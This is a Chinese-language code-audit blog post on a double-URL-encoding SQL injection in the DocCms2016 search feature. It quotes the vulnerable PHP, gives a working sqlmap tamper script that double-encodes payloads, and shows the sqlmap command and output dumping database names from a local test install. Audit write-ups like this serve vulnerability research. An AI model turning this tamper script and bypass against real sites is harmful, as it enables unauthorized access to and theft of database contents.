

0x00 前言

分享一个SQL二次编码注入漏洞的审计实例，并附上 tamper脚本。

0x01环境搭建

DocCms官网: <http://www.doccms.com>

程序源码: DocCms2016

下载地址: <https://pan.baidu.com/s/1pLclifL>

0x02 代码分析

在/content/search/index.php中，首先对参数keyword进行非法字符检测：

```

1 <?php
2 //首页搜索，站内关键字搜索
3 function index()
4 {
5     global $db;
6     global $request;
7     global $params;
8     global $tag;    // 标签数组
9
10    !checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
11    $keyword = urldecode($request['keyword']);
12
13    if(empty($keyword))
14    {
15        echo '<script>alert("请输入您要查询的内容!");window.history.go(-1);</script>';
16    }

```

进一步追溯checkSqlStr函数，看代码如何过滤，在/inc/function.php中：

```

54 function checkSqlStr($string)
55 {
56     $string = strtolower($string);
57     return preg_match('/select|insert|update|delete|'|\"|'|/*|*|\\.\\.\\.\\.\\.\\.\\.\\.|union|into|load_file|outfile|_user/i', $string);
58 }

```

checkSqlStr函数对传入的字符串进行正则匹配，检测是否函数非法字符。继续看/content/search/index.php中的get_search_result函数：

```

86 function get_search_result($modelName)
87 {
88     global $db,$request;
89     !checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
90     $keyword = urlencode($request['keyword']);
91     switch($modelName)
92     {
93         case 'article':
94             $sql = "SELECT * FROM ".$TB_PREFIX."article WHERE title LIKE '%".$keyword."%' OR content LIKE '%".$keyword."%' ORDER
95             break;
96         case 'list':
97             $sql="SELECT * FROM ".$TB_PREFIX."list WHERE title LIKE '%".$keyword."%' OR content LIKE '%".$keyword."%' ORDER BY
98             break;
99         case 'product':
100             $sql="SELECT * FROM ".$TB_PREFIX."product WHERE title LIKE '%".$keyword."%' OR content LIKE '%".$keyword."%' ORDER
101             break;
102         case 'download':
103             $sql="SELECT * FROM ".$TB_PREFIX."download WHERE title LIKE '%".$keyword."%' OR content LIKE '%".$keyword."%' ORDER
104             break;
105         case 'picture':
106             $sql="SELECT * FROM ".$TB_PREFIX."picture WHERE title LIKE '%".$keyword."%' OR description LIKE '%".$keyword."%' ORD
107             break;
108         case 'video':
109             $sql="SELECT * FROM ".$TB_PREFIX."video WHERE title LIKE '%".$keyword."%' OR description LIKE '%".$keyword."%' ORDER
110             break;

```

参数keyword进行非法字符检测后，进行url解码，然后拼接到SQL语句中执行。如果我们传入双重url编码的字符串，将绕过非法字符检测，然后经urldecode解码，带入数据库中执行，导致SQL注入漏洞存在。

0x03 漏洞利用

1、双重URLencode编码绕过，可通过编写tamper绕过URLencode双重编码，tamper脚本如下：

```
#!/usr/bin/env python

import re

from urllib import quote

from lib.core.data import kb

from lib.core.enums import PRIORITY

priority = PRIORITY.NORMAL

def dependencies():

    pass

def tamper(payload, **kwargs):

    retVal = payload

    retVal = quote(quote(retVal))

    return retVal
```

2、通过SQLMAP加载tamper脚本，获取数据库敏感数据



```
C:\Users\Aaron\Desktop\doc\sqlmap.py -u L.txt -p keyword --tamper="C:\Python27\Python27\sqlmap\tamper\urlencode2.py" --db=
[1.0-dev-sungit-20160921]
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at 15:58:07

[15:58:07] [INFO] parsing HTTP request from 'L.txt'
[15:58:07] [INFO] loading tamper script: urlencode2
[15:58:07] [INFO] custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/a]
[15:58:07] [INFO] resuming back-end DBMS 'mysql'
[15:58:07] [INFO] testing connection to the target URL
[15:58:07] [INFO] sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: keyword=1196' OR 1536=5536#923
...
[15:58:10] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:58:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache/2.4.23, PHP/5.5.36
back-end DBMS: MySQL/5.0.12
[15:58:10] [INFO] fetching database names
[15:58:10] [INFO] fetching number of databases
[15:58:10] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:58:10] [INFO] retrieved:
[15:58:10] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--slowest' or switch '--hex'
[15:58:10] [INFO] skipping to retrieve the names of columns
[15:58:10] [INFO] falling back to current database
[15:58:10] [INFO] fetching current database
[15:58:10] [INFO] retrieved: test
available databases [1]:
[*] test
[15:58:10] [INFO] fetched data logged to text files under "C:\Users\Aaron\Desktop\sqlmap\output\127.0.0.1"
[*] shutting down at 15:58:10
```

0x04 END

代码审计中，在一些编码解码函数，如urldecode()、rawurldecode()、base64_decode()，可利用来绕过防护。

另外，在实战中，遇到SQL、XSS二次编码绕过的情况，也有遇到的，so，除了单引号，双引号，也应注重%2527、%2522进行测试。

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。

